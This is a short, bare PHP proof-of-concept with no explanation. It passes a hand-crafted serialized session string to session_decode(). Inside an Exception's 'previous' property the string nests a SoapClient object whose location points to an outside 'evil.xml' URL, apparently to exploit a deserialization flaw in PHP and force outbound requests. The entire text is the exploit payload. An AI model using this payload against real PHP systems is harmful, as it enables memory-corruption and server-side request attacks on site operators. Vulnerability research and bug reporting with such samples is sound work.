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<?php session_start(); session_decode('test|O:9:"Exception":1:{S:19:"\00Exception\00previous";O:10:"SoapClient":3:{S:3:"uri";S:0:"";S:8:"location";S:35:"http://karmainsecurity.com/evil.xml";S:13:"_soap_version";i:1;}}'); var_dump($_SESSION);

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